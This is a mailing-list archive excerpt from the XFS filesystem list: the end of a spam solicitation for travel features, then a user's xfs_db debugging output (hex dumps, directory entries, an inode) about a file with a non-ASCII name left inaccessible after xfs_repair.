X-ASG-Orig-Subj: Travel feature on your Hotel/Resort MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Priority: 3 X-Barracuda-Connect: mailgw.vipnet.ci[41.207.210.91] X-Barracuda-Start-Time: 1389651091 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144053 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- friend Permit us to introduce ourselves. We are a leading travel features website with 20,000 registered users who visit our site for travel information plus strategies. We would like to barter a 3N/2D stay at your hotel/resort in exchange for a 2000 word travel feature on our portal with 15-20 colour photographs. After your hotel is featured on our portal, this article is published in leading travel magazines, if they find it suited for their magazines. If interested to barter a 3N/4D stay during your LOW SEASON or during months where you have LOW OCCUPANCY, please reply blank email raj.gupta.indya@gmail.com with YESTRAV* in the subject, if not interested, please reply blank email r with NOTRAV* in the subject and to be removed from this private mailing list reply blank email with NONO_hotel_resort* in the Subject line of your mail. * extremely case sensitive. Once you respond, we will email you. 1. Link to a 2000 word travel feature with high resolution photographs sponsored by Pimalai Resort, Koh Lanta, Thailand 2. Same travel feature published in a leading Travel and Lifestyle Magazine Your travel feature link will be emailed to our 20,000 registered users. regards, Travel Features Team - India Sent on my BlackBerryR from Vodafone From zach@kotlarek.com Mon Jan 13 17:07:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 713127F3F for ; Mon, 13 Jan 2014 17:07:44 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 28EC38F8054 for ; Mon, 13 Jan 2014 15:07:41 -0800 (PST) X-ASG-Debug-ID: 1389654458-04bdf00fe269c290001-NocioJ Received: from mail.uberzach.com (rondo.uberzach.com [64.22.125.169]) by cuda.sgi.com with ESMTP id NCBQWL7kL83RI1qT (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 13 Jan 2014 15:07:38 -0800 (PST) X-Barracuda-Envelope-From: zach@kotlarek.com X-Barracuda-Apparent-Source-IP: 64.22.125.169 Received: from [172.19.7.2] (unknown [74.93.97.69]) (Authenticated sender: profplump) by mail.uberzach.com (Postfix) with ESMTPSA id 3CFEE580B1 for ; Mon, 13 Jan 2014 15:07:34 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=kotlarek.com; s=default; t=1389654457; bh=EJj07vA0DhIMfR6EH/3LdlC1haoyw/cHYfKCXESx62M=; h=From:Content-Type:Message-Id:Mime-Version:Subject:Date:References: To:In-Reply-To; b=MsnyoXqoXhffqJwUKts4xzRgvpSkuKSwFrXrUK38gKfucm+Y/E1ZAGC5Y9cdxgY9W fi6rR6yfQoqfb5UOYLcX6BtemGUNFeCse+z56X/1cjJ71SWFMcRZUvDE00iUJNmKK+ 0W9QGQoG/1qVPFIo9k21FXrfejpigdpjd5xebr9g= From: Zachary Kotlarek Content-Type: multipart/signed; boundary="Apple-Mail=_1C27DD97-FFE9-4267-B4A6-3F4124BF0FAF"; protocol="application/pkcs7-signature"; micalg=sha1 Message-Id: <0E45339E-04C4-4775-B6B0-FC55245B0AED@kotlarek.com> Mime-Version: 1.0 (Mac OS X Mail 7.1 \(1827\)) Subject: Re: Files with non-ASCII names inaccessible after xfs_repair Date: Mon, 13 Jan 2014 15:07:30 -0800 X-ASG-Orig-Subj: Re: Files with non-ASCII names inaccessible after xfs_repair References: <52D2E358.6070106@hardwarefreak.com> <20140113015007.GC3469@dastard> <20140113031947.GG3469@dastard> <20140113192732.GI3469@dastard> To: xfs@oss.sgi.com In-Reply-To: <20140113192732.GI3469@dastard> X-Mailer: Apple Mail (2.1827) X-Barracuda-Connect: rondo.uberzach.com[64.22.125.169] X-Barracuda-Start-Time: 1389654458 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144055 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature --Apple-Mail=_1C27DD97-FFE9-4267-B4A6-3F4124BF0FAF Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=windows-1252 On Jan 13, 2014, at 11:27 AM, Dave Chinner wrote: > So, you need to find the inode number of a directory with a corrupt > entry, and dump the inode and any data fork blocks that it belongs > to with xfs_db similar to what you have just done.=20 Got one. bu[9] is the file that doesn=92t work: xfs_db /dev/lvmsas/tv xfs_db> inode 68719478806 xfs_db> p core.magic =3D 0x494e ... u.bmx[0] =3D [startoff,startblock,blockcount,extentflag] = 0:[0,4294967423,1,0] a.bmx[0] =3D [startoff,startblock,blockcount,extentflag] = 0:[0,4294967537,1,0] xfs_db> fsb 4294967423 xfs_db> p 000: 58443242 03980b88 00000000 00000000 00000010 00000816 012ee69d = 215c0010 020: 00000002 00000800 022e2ea2 1dc60020 00000010 00000817 092e4453 = 5f53746f 040: 7265652e 726f0030 00000010 00000818 10303120 2d20446f 2d4f7665 = 722e6d34 060: 76657b54 75e80048 00000010 00000819 1d303220 2d204265 6c696576 = 6520696e 080: 20746865 20537461 72732e6d 34760068 00000010 0000081a 2d303320 = 2d205468 0a0: 65204f6e 65207769 74682074 68652043 61737420 6f66204e 69676874 = 20436f75 0c0: 72742e6d 34760090 00000010 0000081b 15303420 2d204761 76696e20 = 566f6c75 0e0: 72652e6d 347600c8 00000010 0000081c 10303520 2d205265 756e696f = 6e2e6d34 100: 76732e6d 347600e8 00000010 0000081d 1a303620 2d204368 72697374 = 6d617320 120: 53706563 69616c2e 6d347674 206f0108 00000010 0000081e 1a303720 = 2d205365 140: c3b16f72 204d6163 686f2053 6f6c6f2e 6d347620 2d200130 00000010 = 0000081f 160: 11303820 2d20466c 75205368 6f742e6d 34766874 20430158 00000010 = 00000820 180: 20303920 2d205265 74726561 7420746f 204d6f76 6520466f 72776172 = 642e6d34 1a0: 76414e79 46490178 00000010 00000821 16313020 2d204765 6e657261 = 6c697373 1c0: 696d6f2e 6d3476a8 ffff0028 000001a8 00000010 00000822 1c313120 = 2d205374 1e0: 2e205661 6c656e74 696e6527 73204461 792e6d34 760001d0 00000010 = 00000823 200: 13313220 2d204c61 72727920 4b696e67 2e6d3476 000001f8 00000010 = 00000824 220: 1b313320 2d20476f 6f646279 652c204d 79204672 69656e64 2e6d3476 = 0add0218 240: 00000010 00000825 16313420 2d205468 65204675 6e636f6f 6b65722e = 6d34762e 260: 6d34763a 84810240 00000010 00000826 13313520 2d205468 65204275 = 62626c65 280: 2e6d3476 536f0268 00000010 00000827 17313620 2d204170 6f6c6c6f = 2c204170 2a0: 6f6c6c6f 2e6d3476 c3b16f72 204d0288 00000010 00000828 11313720 = 2d204375 2c0: 74626163 6b732e6d 34763038 202d02b0 00000010 00000829 1a313820 = 2d204a61 2e0: 636b6965 204a6f72 6d702d4a 6f6d702e 6d347620 2d2002d0 00000010 = 0000082a 300: 11313920 2d205468 65204f6e 65732e6d 34763039 202d02f8 00000010 = 0000082b 320: 1a323020 2d205468 65204e61 74757261 6c204f72 6465722e 6d34767b = 44850318 340: 00000010 0000082c 12323120 2d204d61 6d6d6120 4d69612e 6d347676 = 65200340 360: 00000010 0000082d 14323220 2d204b69 646e6579 204e6f77 212e6d34 = 762d0360 380: 00000010 0000082e 0b736561 736f6e5f 646f6e65 48460380 ffff0b88 = 00000e4f 3a0: 1a303720 2d205365 c3b16f72 204d6163 686f2053 6f6c6f2e 6d34762e = 6d340398 3c0: ffff0b60 b9ea03a0 ffff0030 00000822 242e3131 202d2053 742e2056 = 616c656e 3e0: 74696e65 27732044 61792e6d 34762e75 384d554e 6c0a03c8 00000010 = 00000822 400: 1c313120 2d205374 2e205661 6c656e74 696e6527 73204461 792e6d34 = 766c03f8 420: ffff0028 00000823 1b2e3132 202d204c 61727279 204b696e 672e6d34 = 762e6a65 440: 6d346167 ae670420 00000010 00000823 13313220 2d204c61 72727920 = 4b696e67 460: 2e6d3476 c5cd0448 ffff0030 00000824 232e3133 202d2047 6f6f6462 = 79652c20 480: 4d792046 7269656e 642e6d34 762e697a 48574e66 6ebe0468 00000010 = 00000824 4a0: 1b313320 2d20476f 6f646279 652c204d 79204672 69656e64 2e6d3476 = 06550498 4c0: ffff0030 00000825 1e2e3134 202d2054 68652046 756e636f 6f6b6572 = 2e6d3476 4e0: 2e546c46 37754e82 53830dea f02904c0 00000010 00000825 16313420 = 2d205468 500: 65204675 6e636f6f 6b65722e 6d3476c9 49d6c27e 862404f0 ffff0028 = 00000826 520: 1b2e3135 202d2054 68652042 7562626c 652e6d34 762e324e 756d6a55 = 3e2e0518 540: 00000010 00000826 13313520 2d205468 65204275 62626c65 2e6d3476 = b8190540 560: ffff0030 00000827 1f2e3136 202d2041 706f6c6c 6f2c2041 706f6c6c = 6f2e6d34 580: 762e7862 706b7578 6015c501 5df00560 00000010 00000827 17313620 = 2d204170 5a0: 6f6c6c6f 2c204170 6f6c6c6f 2e6d3476 207a805c 32f30590 ffff0028 = 00000828 5c0: 192e3137 202d2043 75746261 636b732e 6d34762e 38644241 4e4e95d2 = df0c05b8 5e0: 00000010 00000828 11313720 2d204375 74626163 6b732e6d 3476bfa5 = 5c2d05e0 600: ffff0030 00000829 222e3138 202d204a 61636b69 65204a6f 726d702d = 4a6f6d70 620: 2e6d3476 2e463654 536e4750 ed990600 00000010 00000829 1a313820 = 2d204a61 640: 636b6965 204a6f72 6d702d4a 6f6d702e 6d3476b3 568f0630 ffff0028 = 0000082a 660: 192e3139 202d2054 6865204f 6e65732e 6d34762e 5359636f 536c1450 = 7d780658 680: 00000010 0000082a 11313920 2d205468 65204f6e 65732e6d 347633f1 = b79c0680 6a0: ffff0030 0000082b 222e3230 202d2054 6865204e 61747572 616c204f = 72646572 6c0: 2e6d3476 2e4c7779 456e7607 1acd06a0 00000010 0000082b 1a323020 = 2d205468 6e0: 65204e61 74757261 6c204f72 6465722e 6d347620 6ac406d0 ffff0028 = 0000082c 700: 1a2e3231 202d204d 616d6d61 204d6961 2e6d3476 2e793774 444471f0 = 7afb06f8 720: 00000010 0000082c 12323120 2d204d61 6d6d6120 4d69612e 6d34764a = c2a20720 740: ffff0028 0000082d 1c2e3232 202d204b 69646e65 79204e6f 77212e6d = 34762e31 760: 70556e4a 516d0740 00000010 0000082d 14323220 2d204b69 646e6579 = 204e6f77 780: 212e6d34 76ec0768 ffff0020 0000082e 132e7365 61736f6e 5f646f6e = 652e5942 7a0: 45707653 4b1b0788 00000010 0000082e 0b736561 736f6e5f 646f6e65 = dc4e07a8 7c0: ffff0760 e25dfdec 236bc146 04c68637 7ab5e375 e452f5b4 aa68bbe2 = e8f96e8c 7e0: 2873dc2b 8c11d44f 8102132b cd297ee7 96731e39 9ce20e24 8c720b52 = 9d268801 800: 6f35094c 840bffb0 ea57f284 4ed0ddce c5fe47bc b716c676 5dcf744d = 6e1e043c 820: 65168783 12942365 473c4dd6 87b983ff b27554b6 ced9b37b 73a45143 = 953cfd5d 840: 776b8ce5 02b22034 12e3976a bf8ac0cf 6040f314 29a94c5d 1f64d68b = 41522fae 860: 5d086649 b415c9bc 5033532f 67d82e68 aba29045 99d66c7d 7d27a726 = 2461fab8 880: 62ffcb2d 2aae50f0 8a14c75e fb120b7c 30a35fde a44fb8ef 50e8ba97 = 87cd173f 8a0: 665fa3fb 068b30b0 2eb54bda 500c30e3 0f32a030 3bc1e136 371908be = 03be9608 8c0: 08931d14 19edb458 611be149 e69eab30 80885c83 ce31770c ef30d08f = 047edd2b 8e0: 881cd519 7a01e6e4 6bda3ab0 007b9eeb c406b0bd bdaa3634 e6ad67e4 = 1a0cb40a 900: ee3f89b3 18361c80 bab39b25 765b2eeb dcdae533 632b1eaa 527169da = 0808768c 920: 059a6327 60bfb867 64e6dfd1 c4790448 521e8b10 599e93ca 7ac96307 = 152793d1 940: 35e8539e 31c0a2ac b21c7fef b9c4b292 e76ea63d 2f5f4789 e996ba68 = fc1f648a 960: f50cb772 6daa9cf9 29f49bc0 99450bdc e675a924 cd5df975 bbef5aca = 6f7f6dda 980: e3cf4905 d362fabe ca2f55ac 416055f8 c4478efe 76af424f 1246495b = 0681f743 9a0: 8985d4a8 c3bd705f b7fdad96 11e865b8 9d47709c 949269b7 171ba67c = c0ecc834 9c0: 8720b834 f2265a2a 89cbab9f e1585a1e 0ad602bb fd403330 d1996c2b = 1dbd6f02 9e0: 5a890263 74042c9e 793ad4f8 5cbf7e6c 93666ff9 6cbbf437 05e82d05 = 7f0a56d8 a00: 0bc2aacb 9072859c 732cad1a 16b6cf21 2ec91573 6026017c 4df2822a = 7a8933f0 a20: 551195c5 fd7e2f03 aa07d4f3 f753314c eca96a08 d5aa1da7 fbe936d9 = 91e6b576 a40: 97d0c67c 5b46eabf df2292da b8536aab a12c6901 1ec450d8 18abacd6 = 1406d306 a60: 554371d9 8200daf2 284ad914 6ac1be9c 989fefc7 80b1cfa8 e73aec8c = 221852ff a80: 81fd770f cc436dcb c905bf19 c4f7a3e3 3cffa8d1 a6730bfb 23942b33 = dfaeea27 aa0: 8b55cc38 09174831 7952c5c7 652fe34f ac4979c6 8e16a508 9ad307a5 = 8563bf20 ac0: a394d950 ea4d7801 6fd9ef09 c9755dcd 17109143 75a0fa3f ecf18c41 = 51b93a5e ae0: 5e66abc4 d1dd1d42 8bf4f8dc 98fb592a 76491dcf 6387793d 0a7dfe57 = 358dc4a5 b00: 93fdbb04 e8586f2b 8edf9aa3 db46597d 6c9c1824 fa9f84f8 f192c630 = dbf863d8 b20: a767867e 9e6155d0 f3a48ac9 47755639 1ea41778 032888b8 8d2bec2f = 78196ed6 b40: 7fc54879 a7c28fb7 2385262d cebf16da d7723330 0d3666fd b6bd56f1 = dc1e00d3 b60: 17a947ec 5e9dca3c d2fc6067 baf215e0 eb9783d1 89601c5b 7d82b2c7 = 5e66cb96 b80: 5e141c62 e821a2cc 80d7084c a5b77c29 5ec2586d 4b69b332 9549b233 = 38fc7b4d ba0: 91bc57f6 566726bc 6dc234e4 0652f289 f40b37dc 721544c3 81ee4ee0 = ebed6891 bc0: 4ac9351e f3283873 966d3e49 ad24e115 ee1d804c 70eaa426 ba1c48e6 = 7eafc96b be0: c504f521 385b29ab 3532993f 266af82d 59ec08f9 d85820f3 589cc633 = ee41a655 c00: a99d074d 23d8823e e7508910 16cc9d9c cecb5cb9 81de6036 b4e8faba = cfdbdaf6 c20: 36536522 d057ff4a b9e85de3 f7b2704c 9a4908ca e339ac32 d785c548 = 348daa6a c40: f0afc265 a71c920b 50ae9757 0b51af96 34531279 4da1ee1f f9df3e83 = 0055f97e c60: 65fe66b4 34399905 9784127e 4c255ddd b0334416 fa5ef3d0 c62ab6aa = f529f684 c80: e9ef32cd f1d11c0b ae35c00a 10e517fa 003f657c 3f6cb6e5 601b85ad = 0d576c38 ca0: 794e5372 08c0bf34 1c895e11 b6fa2895 67437581 3400a236 f642fe70 = a69faaf7 cc0: 819bdd30 a8219dbc 2d0e0523 a6fa62be 1aa2386b 1590a568 3e3da633 = 6f9808b0 ce0: 88b35ef6 14240b49 e6721f51 77cee9c3 1af382ab 01677e4d f090c4fa = 4da2c2c5 d00: 024c8629 2ad08aa7 422af8e0 f9712ed5 177bdeea c25eabe2 729067c4 = 96c38d4f d20: 7d12c96b b0d47cb4 153d0de0 b61116b9 05db3add 580b09ec 4185a57a = 12d2f403 d40: a79875a9 869ed8e9 54496e3a 12409817 29d8a734 c250f847 0269266a = b1d21578 d60: 929e6a00 84a2c798 8a7dbe54 c56d38f8 cd2c9928 e37d988e 86e3bbd3 = d66a8fb5 d80: 95bbf81a 31ec0870 354a6694 e583a8df 4c75d417 079d9277 4739253a = 88c7a85c da0: ead4d046 c16f24a1 aac656b1 b1231730 292ad144 09d48770 9e383b4a = 79ff74d9 dc0: b8453a71 687b98a3 d66e6948 782ff312 e6acc0ef 23bf3730 fa77b629 = 00e0c284 de0: 3e1394c0 dd947b2f 7acd855f d1b55dc6 dddcb637 4afcf856 b28caf57 = b169fd76 e00: 02f996ac 93f1b65c fd365b9f 723f2848 ce77021d 0f3e1303 273bbf86 = 284e60ea e20: aaf5b695 10fd5132 c91a16d0 11a41dc9 5a02186a bbbb94a0 7bbceef5 = 9e943106 e40: afb9aace 1933d188 6bf0727f 90aa9123 2241a0d0 01598503 cfabe4aa = b00afb9b e60: 3effbd69 68165260 f8a81102 d38b3878 cdd4e4cb 8618f097 42244acf = b8b976cb e80: 35125209 f7b5805e 40db397b 00abcfa9 8a50409a c0f51dcf abe9fb4d = 5b8c44bb ea0: ab9cc478 591f0715 5c06faff 4ff7c649 25880591 9d0f5e5c 7d38d25c = 76648e19 ec0: 6f6bad24 2a754c82 3154a2e3 d43e803a 7ca54600 fd6a3f1a 90dfc856 = 4d3aba0d ee0: ea944aec ca997066 341ad794 ed5b0d0d d1b95bbd f94ac17a 34df90af = 8d8078e0 f00: 59d8b643 78da3fa9 c79a7dd6 a964a724 7ac02075 4ca9318d c21b6890 = a9640398 f20: 0000002e 00000002 0000172e 00000004 00624cc3 00000063 1052379a = 00000006 f40: 12d2816f 0000001d 16d07074 00000026 16d0707c 00000000 1d7c54e2 = 00000070 f60: 2caf2876 0000000d 3d25c6d2 00000056 3e07609a 0000005a 6b667b53 = 0000006c f80: 78fc099c 00000035 8ad0f8ab 00000009 8c17559b 00000012 8f0052b2 = 0000002b fa0: 8fc97221 00000043 931912cb 0000003a 96b3bb3b 00000051 9a3c8cd4 = 00000019 fc0: 9d95db76 00000048 aec5036b 00000021 dc3223ae 0000004d dd98adc4 = 0000002f fe0: ea32fb33 0000003f eb7796fb 00000068 ff3b09ea 0000005f 0000001b = 00000001 xfs_db> type dir2 xfs_db> p bhdr.magic =3D 0x58443242 bhdr.bestfree[0].offset =3D 0x398 bhdr.bestfree[0].length =3D 0xb88 bhdr.bestfree[1].offset =3D 0 bhdr.bestfree[1].length =3D 0 bhdr.bestfree[2].offset =3D 0 bhdr.bestfree[2].length =3D 0 bu[0].inumber =3D 68719478806 bu[0].namelen =3D 1 bu[0].name =3D "." bu[0].tag =3D 0x10 bu[1].inumber =3D 8589936640 bu[1].namelen =3D 2 bu[1].name =3D ".." bu[1].tag =3D 0x20 bu[2].inumber =3D 68719478807 bu[2].namelen =3D 9 bu[2].name =3D ".DS_Store" bu[2].tag =3D 0x30 bu[3].inumber =3D 68719478808 bu[3].namelen =3D 16 bu[3].name =3D "01 - Do-Over.m4v" bu[3].tag =3D 0x48 bu[4].inumber =3D 68719478809 bu[4].namelen =3D 29 bu[4].name =3D "02 - Believe in the Stars.m4v" bu[4].tag =3D 0x68 bu[5].inumber =3D 68719478810 bu[5].namelen =3D 45 bu[5].name =3D "03 - The One with the Cast of Night Court.m4v" bu[5].tag =3D 0x90 bu[6].inumber =3D 68719478811 bu[6].namelen =3D 21 bu[6].name =3D "04 - Gavin Volure.m4v" bu[6].tag =3D 0xc8 bu[7].inumber =3D 68719478812 bu[7].namelen =3D 16 bu[7].name =3D "05 - Reunion.m4v" bu[7].tag =3D 0xe8 bu[8].inumber =3D 68719478813 bu[8].namelen =3D 26 bu[8].name =3D "06 - Christmas Special.m4v" bu[8].tag =3D 0x108 bu[9].inumber =3D 68719478814 bu[9].namelen =3D 26 bu[9].name =3D "07 - Se\303\261or Macho Solo.m4v" bu[9].tag =3D 0x130 bu[10].inumber =3D 68719478815 bu[10].namelen =3D 17 bu[10].name =3D "08 - Flu Shot.m4v" bu[10].tag =3D 0x158 bu[11].inumber =3D 68719478816 bu[11].namelen =3D 32 bu[11].name =3D "09 - Retreat to Move Forward.m4v" bu[11].tag =3D 0x178 bu[12].inumber =3D 68719478817 bu[12].namelen =3D 22 bu[12].name =3D "10 - Generalissimo.m4v" bu[12].tag =3D 0x1a8 bu[13].inumber =3D 68719478818 bu[13].namelen =3D 28 bu[13].name =3D "11 - St. Valentine\'s Day.m4v" bu[13].tag =3D 0x1d0 bu[14].inumber =3D 68719478819 bu[14].namelen =3D 19 bu[14].name =3D "12 - Larry King.m4v" bu[14].tag =3D 0x1f8 bu[15].inumber =3D 68719478820 bu[15].namelen =3D 27 bu[15].name =3D "13 - Goodbye, My Friend.m4v" bu[15].tag =3D 0x218 bu[16].inumber =3D 68719478821 bu[16].namelen =3D 22 bu[16].name =3D "14 - The Funcooker.m4v" bu[16].tag =3D 0x240 bu[17].inumber =3D 68719478822 bu[17].namelen =3D 19 bu[17].name =3D "15 - The Bubble.m4v" bu[17].tag =3D 0x268 bu[18].inumber =3D 68719478823 bu[18].namelen =3D 23 bu[18].name =3D "16 - Apollo, Apollo.m4v" bu[18].tag =3D 0x288 bu[19].inumber =3D 68719478824 bu[19].namelen =3D 17 bu[19].name =3D "17 - Cutbacks.m4v" bu[19].tag =3D 0x2b0 bu[20].inumber =3D 68719478825 bu[20].namelen =3D 26 bu[20].name =3D "18 - Jackie Jormp-Jomp.m4v" bu[20].tag =3D 0x2d0 bu[21].inumber =3D 68719478826 bu[21].namelen =3D 17 bu[21].name =3D "19 - The Ones.m4v" bu[21].tag =3D 0x2f8 bu[22].inumber =3D 68719478827 bu[22].namelen =3D 26 bu[22].name =3D "20 - The Natural Order.m4v" bu[22].tag =3D 0x318 bu[23].inumber =3D 68719478828 bu[23].namelen =3D 18 bu[23].name =3D "21 - Mamma Mia.m4v" bu[23].tag =3D 0x340 bu[24].inumber =3D 68719478829 bu[24].namelen =3D 20 bu[24].name =3D "22 - Kidney Now!.m4v" bu[24].tag =3D 0x360 bu[25].inumber =3D 68719478830 bu[25].namelen =3D 11 bu[25].name =3D "season_done" bu[25].tag =3D 0x380 bu[26].freetag =3D 0xffff bu[26].length =3D 0xb88 bu[26].tag =3D 0x398 bleaf[0].hashval =3D 0x2e bleaf[0].address =3D 0x2 bleaf[1].hashval =3D 0x172e bleaf[1].address =3D 0x4 bleaf[2].hashval =3D 0x624cc3 bleaf[2].address =3D 0x63 bleaf[3].hashval =3D 0x1052379a bleaf[3].address =3D 0x6 bleaf[4].hashval =3D 0x12d2816f bleaf[4].address =3D 0x1d bleaf[5].hashval =3D 0x16d07074 bleaf[5].address =3D 0x26 bleaf[6].hashval =3D 0x16d0707c bleaf[6].address =3D 0 bleaf[7].hashval =3D 0x1d7c54e2 bleaf[7].address =3D 0x70 bleaf[8].hashval =3D 0x2caf2876 bleaf[8].address =3D 0xd bleaf[9].hashval =3D 0x3d25c6d2 bleaf[9].address =3D 0x56 bleaf[10].hashval =3D 0x3e07609a bleaf[10].address =3D 0x5a bleaf[11].hashval =3D 0x6b667b53 bleaf[11].address =3D 0x6c bleaf[12].hashval =3D 0x78fc099c bleaf[12].address =3D 0x35 bleaf[13].hashval =3D 0x8ad0f8ab bleaf[13].address =3D 0x9 bleaf[14].hashval =3D 0x8c17559b bleaf[14].address =3D 0x12 bleaf[15].hashval =3D 0x8f0052b2 bleaf[15].address =3D 0x2b bleaf[16].hashval =3D 0x8fc97221 bleaf[16].address =3D 0x43 bleaf[17].hashval =3D 0x931912cb bleaf[17].address =3D 0x3a bleaf[18].hashval =3D 0x96b3bb3b bleaf[18].address =3D 0x51 bleaf[19].hashval =3D 0x9a3c8cd4 bleaf[19].address =3D 0x19 bleaf[20].hashval =3D 0x9d95db76 bleaf[20].address =3D 0x48 bleaf[21].hashval =3D 0xaec5036b bleaf[21].address =3D 0x21 bleaf[22].hashval =3D 0xdc3223ae bleaf[22].address =3D 0x4d bleaf[23].hashval =3D 0xdd98adc4 bleaf[23].address =3D 0x2f bleaf[24].hashval =3D 0xea32fb33 bleaf[24].address =3D 0x3f bleaf[25].hashval =3D 0xeb7796fb bleaf[25].address =3D 0x68 bleaf[26].hashval =3D 0xff3b09ea bleaf[26].address =3D 0x5f btail.count =3D 27 btail.stale =3D 1 And the inode it lists, which has reasonable mtime and size based on = similar files in the directory: xfs_db> inode 68719478814 xfs_db> p core.magic =3D 0x494e core.mode =3D 0100660 core.version =3D 2 core.format =3D 2 (extents) core.nlinkv2 =3D 1 core.onlink =3D 0 core.projid_lo =3D 0 core.projid_hi =3D 0 core.uid =3D 1000 core.gid =3D 100 core.flushiter =3D 368 core.atime.sec =3D Thu Jan 2 18:23:36 2014 core.atime.nsec =3D 082260304 core.mtime.sec =3D Sat Sep 11 20:13:07 2010 core.mtime.nsec =3D 000000000 core.ctime.sec =3D Sun Jan 12 01:30:25 2014 core.ctime.nsec =3D 866103023 core.size =3D 326451171 core.nblocks =3D 79700 core.extsize =3D 0 core.nextents =3D 1 core.naextents =3D 0 core.forkoff =3D 7 core.aformat =3D 1 (local) core.dmevmask =3D 0 core.dmstate =3D 0 core.newrtbm =3D 0 core.prealloc =3D 0 core.realtime =3D 0 core.immutable =3D 1 core.append =3D 0 core.sync =3D 0 core.noatime =3D 0 core.nodump =3D 0 core.rtinherit =3D 0 core.projinherit =3D 0 core.nosymlinks =3D 0 core.extsz =3D 0 core.extszinherit =3D 0 core.nodefrag =3D 0 core.filestream =3D 0 core.gen =3D 2502109681 next_unlinked =3D null u.bmx[0] =3D [startoff,startblock,blockcount,extentflag] = 0:[0,509696,79700,0] a.sfattr.hdr.totsize =3D 95 a.sfattr.hdr.count =3D 1 a.sfattr.list[0].namelen =3D 12 a.sfattr.list[0].valuelen =3D 76 a.sfattr.list[0].root =3D 1 a.sfattr.list[0].secure =3D 0 a.sfattr.list[0].name =3D "SGI_ACL_FILE" a.sfattr.list[0].value =3D = "\000\000\000\006\000\000\000\001\377\377\377\377\000\006\000\000\000\000\= 000\004\377\377\377\377\000\006\000\000\000\000\000\b\000\000\000d\000\006= \000\000\000\000\000\b\000\000\003\361\000\004\000\000\000\000\000\020\377= \377\377\377\000\006\000\000\000\000\000 = \377\377\377\377\000\000\000\000=94 I=92m not sure if this the right way to get the related first data = block. If I did it wrong let me know: xfs_db> daddr 509696 xfs_db> p 000: e85e996a 4e705067 b42c65f1 97d553b3 4af10990 1609bbd9 beeef165 = f1cf1a2c 020: 483f0a2e 24ecce2e ff1aa9bc a8e3b359 0808858e f7db2c32 d163ef30 = 10782a0e 040: 82862ec9 22285fed 90177e6e f8d2b6d2 15ae9d85 35356190 bffc2604 = 3ec17ea8 060: bb69e2ba 6ffd82ed b5df455d 4f2ed5bf 042b87c8 2a457ad3 224eb183 = 4905d39f 080: 37d5acb5 28480b63 c32662c6 33bd3c51 3de5ca43 bf7639c9 fa1097c1 = 8a1aff22 0a0: 9af51d18 89455c57 c569eb0c 8790d635 54e7ea81 9a37fd0b 824d57d6 = 6fb28c79 0c0: 6ba742db cf65ffd7 f47ef4f2 7f7e0233 fa2f788f e09d5aef 7cb17105 = eddf901e 0e0: 21a74f60 c7c19141 387289a9 514d8962 2fb8597c 0a806421 6920a244 = 8610318f 100: f1119976 46332bd6 aad56bc2 319e7e23 e6b559c5 8aabf1e9 26c50da8 = 806048fd 120: 7851b307 6a858007 21c1feb2 4281f277 5fc5dd9b e49b59db 7f209de1 = 66d9e02b 140: ac4ca898 1dfeff12 207ec7cd 83283cf0 6f9d24be 421f64bc ffd05e4d = e3828501 160: 0809baac 56a9dfc4 2133bbee fcd0d1e9 1c00f07d ecfec298 ead947e9 = 06ba929c 180: 7a3206f2 7efe3450 28cbf76a cf99e170 a22bf86d 826dade6 d67f8e60 = 6d5c7c02 1a0: 94be0967 ab263252 9ff805b1 7b34db8f 9a099feb cdb274e2 a06cd03f = cbf8aefe 1c0: 7128dacb fad4c84c 63c4d19f 27a836fe 2a5ad1cb e8e6afe1 5f7c8182 = 9f46dcfd 1e0: 3a475df5 f9a1dc40 9f51fedd d722ef07 6e2346e9 8d58b1dd 8c7e9d7c = 041826cf Thanks for your help, Zach --Apple-Mail=_1C27DD97-FFE9-4267-B4A6-3F4124BF0FAF Content-Disposition: attachment; filename=smime.p7s Content-Type: application/pkcs7-signature; name=smime.p7s Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGGTCCBhUw ggP9oAMCAQICAQEwDQYJKoZIhvcNAQEFBQAwgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApXYXNo aW5ndG9uMRAwDgYDVQQHDAdTZWF0dGxlMRwwGgYDVQQKDBNaYWNoYXJ5IFAuIEtvdGxhcmVrMRUw EwYDVQQDDAx1YmVyemFjaC5jb20xIDAeBgkqhkiG9w0BCQEWEXphY2hAa290bGFyZWsuY29tMB4X DTEzMDgxMzAwMjMzM1oXDTE4MDgxMjAwMjMzM1owgZIxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApX 